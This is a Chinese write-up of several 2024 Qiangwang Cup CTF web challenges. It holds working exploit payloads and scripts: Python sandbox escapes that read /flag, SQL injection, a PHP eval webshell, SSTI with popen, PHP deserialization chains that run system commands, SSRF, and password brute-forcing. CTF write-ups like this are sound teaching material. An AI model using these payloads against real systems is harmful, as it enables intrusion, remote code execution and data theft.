24强网wp

24强网

PyBlockly

题目源码

复制代码
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
​
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
​
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
​
def module_exists(module_name):
​
    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False
​
    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False
​
def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True
​
def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        print('black_list over.', re.search(blacklist_pattern, input_text))
        return True
    else:
        print('black_list detected.', re.search(blacklist_pattern, input_text))
        return False
​
​
​
def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"
​
    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"
​
    if 'next' in block:
        
        block = block['next']['block']
        
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code
​
def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]
​
    python_code = ""
    python_code += block_to_python(block) + "\n"
​
        
    return python_code
​
def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")
​
__import__('sys').addaudithook(my_audit_hook)
​
'''
    print('do!')
    print('Source code: ',source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py", 'w') as f:
                f.write(code)        
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"
​
@app.route('/')
def index():
    return app.send_static_file('index.html')
​
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        print(python_code)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})
    
if __name__ == '__main__':
    app.run(host = '0.0.0.0')
​
​

漏洞点

复制代码
unidecode.unidecode
 将所有 Unicode 字符(尤其是非 ASCII 字符)转换成可打印的、没有重音符号或特殊符号的 ASCII 字符

dd if=/flag,它意味着你试图将 /flag 文件的数据拷贝到标准输出

逃逸字符串

复制代码
 code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

将len函数替换成匿名函数使其永远返回 1

法一

ssti,全字符绕过

复制代码
__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147')")

利用$()执行内容来输出

cat tac nl没有,用dd可以

dd if=/flag

然后再对这些内容使用全角,绕过黑名单。

最终payload:

复制代码
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"';__import__("builtins").len=lambda a:1;'';__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147');   ");'"}
}]}}

法二

跟法二差不多

复制代码
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}
​
'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #

法三

dd if=/flag写入到1.py,第二次发包利用run.py执行1.py

写文件

读取/flag写入1.py

复制代码
open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))
复制代码
__import__('1')

法四

多线程竞争

复制代码
import requests
import json
import threading
​
url = "http://eci-2zedptpxwuwj344tkegy.cloudeci1.ichunqiu.com:5000"
​
data = {
    "blocks": {
        "blocks": [
            {
                "type": "print",
                "x": 101,
                "y": 102,
                "inputs": {
                    "TEXT": {
                        "block": {
                            "type": "max",
                            "inputs": {
                                "A": {
                                    "block": {
                                        "type": "text",
                                        "fields": {"TEXT": "‘,‘’))\n(open(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘)))\n\nprint(print(’1"}
                                    }
                                },
                                "B": {
                                    "block": {
                                        "type": "math_number",
                                        "fields": {"NUM": 10}
                                    }
                                }
                            }
                        }
                    }
                }
            }
        ]
    }
}
​
def send_request():
    while True:
        r = requests.post(url + "/blockly_json",
                          headers={"Content-Type": "application/json"}, data=json.dumps(data))
        text = r.text
        if "1 10" not in text and "No such file or direct" not in text and len(text) > 10:
            print(text)
            os.exit(-1)
            break
​
threads = []
num_threads = 100
​
for _ in range(num_threads):
    thread = threading.Thread(target=send_request)
    threads.append(thread)
    thread.start()
​
for thread in threads:
    thread.join()

xiaohuanxiong

源码审计,需从网上下源码;正确源码地址

复制代码
git clone https://github.com/forkable/xiaohuanxiong.git

漏洞点

法一

漏洞源码如下↓

复制代码
$books = $this->bookService->search($keyword, $num);
​
    public function search($keyword, $num)
    {
        return Db::query(
            "select * from " . $this->prefix . "book where delete_time=0 and match(book_name,summary,author_name,nick_name) 
            against ('" . $keyword . "' IN NATURAL LANGUAGE MODE) LIMIT " . $num
        );
​

search 传 keyword 直接就有 sql 注入

复制代码
?keyword=0') or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)),3) # 

sqlmap进入之后注册无密码用户,查询其hex值在cmd5解密出salt

利用salt和admin的密码hex取爆破密码;然后后台写码

复制代码
?url=‘}+@eval($_POST[1])+{’

爆破hex密码脚本↓

复制代码
import hashlib
import itertools
​
salt = 'bf3a27'
target_hash = 'cd68b9fa89089351c31f248f7a321583'
chars = '0123456789abcdef'
max_length = 6
​
for length in range(1, max_length + 1):
    for password_tuple in itertools.product(chars, repeat=length):
        password = ''.join(password_tuple)
        hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()
        if hash_attempt == target_hash:
            print(f'Found password: {password}')
            break

法二

后端有伪静态标识

复制代码
// URL伪静态后缀
'url_html_suffix'        => 'html',
复制代码
class Admins extends BaseAdmin
{
    protected $adminService;
    protected function initialize()
    {
        $this->adminService = new AdminService();
    }
​
复制代码
public function save(Request $request){
    $data = $request->param();
    $admin = Admin::where('username','=',trim($data['username']))->find();
    if ($admin){
        $this->error('存在同名账号');
    }else{
        $admin = new Admin();
        $admin->username = $data['username'];
        $admin->password = md5(strtolower(trim($data['password'])).config('site.salt'));
        $admin->save();
        $this->success('新增管理员成功');
    }
}

/install之后正常进前端,dir扫一下有admin管理登陆,尝试不能正常登入,御剑扫到/admin/Admins越权进入管理后台,这里可以添加管理员,然后正常登陆管理界面在支付管理页面可以修改php代码

复制代码
payload: admin/admins/save.html Post:username=admin1&password=123456

法三

/admin/Payment/index存在任意文件上传

pickle_jail

复制代码
https://www.woodwhale.cn/2024-qwb-misc-pickle-jail-wp/#jie-ti-si-lu

Proxy

go语言源码审计;是ssrf

main.go

复制代码
package main
​
import (
    "bytes"
    "io"
    "net/http"
    "os/exec"
​
    "github.com/gin-gonic/gin"
)
​
type ProxyRequest struct {
    URL             string            `json:"url" binding:"required"`
    Method          string            `json:"method" binding:"required"`
    Body            string            `json:"body"`
    Headers         map[string]string `json:"headers"`
    FollowRedirects bool              `json:"follow_redirects"`
}
​
func main() {
    r := gin.Default()
​
    v1 := r.Group("/v1")
    {
        v1.POST("/api/flag", func(c *gin.Context) {
            cmd := exec.Command("/readflag")
            flag, err := cmd.CombinedOutput()
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }
            c.JSON(http.StatusOK, gin.H{"flag": flag})
        })
    }
​
    v2 := r.Group("/v2")
    {
        v2.POST("/api/proxy", func(c *gin.Context) {
            var proxyRequest ProxyRequest
            if err := c.ShouldBindJSON(&proxyRequest); err != nil {
                c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
                return
            }
​
            client := &http.Client{
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                    if !req.URL.IsAbs() {
                        return http.ErrUseLastResponse
                    }
​
                    if !proxyRequest.FollowRedirects {
                        return http.ErrUseLastResponse
                    }
​
                    return nil
                },
            }
​
            req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }
​
            for key, value := range proxyRequest.Headers {
                req.Header.Set(key, value)
            }
​
            resp, err := client.Do(req)
​
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }
​
            defer resp.Body.Close()
​
            body, err := io.ReadAll(resp.Body)
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }
​
            c.Status(resp.StatusCode)
            for key, value := range resp.Header {
                c.Header(key, value[0])
            }
​
            c.Writer.Write(body)
            c.Abort()
        })
    }
​
    r.Run("127.0.0.1:8769")
}

payload

复制代码
import requests
import json
​
url = "http://47.93.99.173:24678/v2/api/proxy"
​
headers = {
    "Content-Type": "application/json",
}
​
data = {
    "url": "http://localhost:8769/v1/api/flag",
    "method": "POST",
    "body": "",
    "headers": {},
    "follow_redirects": False,
}
​
response = requests.post(url, headers=headers, data=json.dumps(data))
​
print(response.text)

snake

第一关js

第二关sql注入+ssti

复制代码
1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20

platform

session反序列化

class。php处

复制代码
<?php
class notouchitsclass {
    public $data;
​
    public function __construct($data) {
        $this->data = $data;
    }
​
    public function __destruct() {
        eval($this->data);
    }
}
​
$exp=new notouchitsclass(1);
#$exp->data='system($_GET[cmd])';//被过滤需要绕过
$exp->data='("sy"."stem")($_GET[cmd]);';
echo serialize($exp);
复制代码
import requests
url = " http://eci-2ze3vvqmif956xeljg9p.cloudeci1.ichunqiu.com/"
params = {
    #'cmd': "ls"
    #'cmd': "cat flag" #未找到
    'cmd': "/readflag"
}
​
data = {
    'username':  'execexecexecexecexecexecexecexecexecexecexecexecexece',
    'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:26:"("sy"."stem")($_GET[cmd]);";}password|s:6:"orange'
}
while True:
    r = requests.session()
    response1 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
    response2 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
    response3 = r.post(url + '/dashboard.php', params=params, verify=False, allow_redirects=False)
​
    if "flag" in response3.text:
        print(response3.text)
        print(r.cookies)
    r.close()

Password Game

反序列化

源码

复制代码
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

法一

复制代码
<?php
class root{
    public $username;
    public $value=2024;
    public $gxngxngxn;
}
class user{
    public $username;
    public $password;
}
​
$exp = new root();
$exp->gxngxngxn=new user();
$exp->gxngxngxn->username=&$exp->value;
echo serialize($exp);

法二

直接构造,手动修改

复制代码
$obj = new root();
$g1 = new guest();
$g1->username = "admin";
$obj->username = $g1;
$u1 = new user();
$u1->username = "2024qwb";
$g1->value = $u1;
$obj->value = &$u1->username;
​
echo "\n";
echo serialize($obj);
echo "\n";

参考

复制代码
https://blog.csdn.net/GKD2019/article/details/143496496
复制代码
https://0ran9e.fun/2024/11/04/%E5%BC%BA%E7%BD%91%E6%9D%AF/%E5%BC%BA%E7%BD%91%E6%9D%AF2024%E5%88%9D%E8%B5%9B/#xiaohuanxiong
复制代码
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ
复制代码
https://www.cnblogs.com/gxngxngxn/p/18525365
相关推荐
香菜的开发日记1 分钟前
快速学习 pytest 基础知识
自动化测试·python·pytest
自律小仔5 分钟前
Go语言的 的继承(Inheritance)核心知识
开发语言·后端·golang
爱在心里无人知7 分钟前
Go语言的 的数据封装(Data Encapsulation)核心知识
开发语言·后端·golang
悟道茶一杯9 分钟前
Go语言的 的注解(Annotations)核心知识
开发语言·后端·golang
背太阳的牧羊人10 分钟前
grouped.get_group((‘B‘, ‘A‘))选择分组
python·pandas
菠菠萝宝11 分钟前
【Go学习】-01-1-入门及变量常量指针
开发语言·学习·golang·go·软件工程·web·go1.19
graceyun33 分钟前
牛客网刷题 ——C语言初阶(6指针)——字符逆序
c语言·开发语言
wjs202444 分钟前
Kotlin 数据类与密封类
开发语言
穆姬姗1 小时前
【Python】论文长截图、页面分割、水印去除、整合PDF
开发语言·python·pdf
graceyun1 小时前
牛客网刷题 ——C语言初阶(5操作符)——OR76 两个整数二进制位不同个数
c语言·开发语言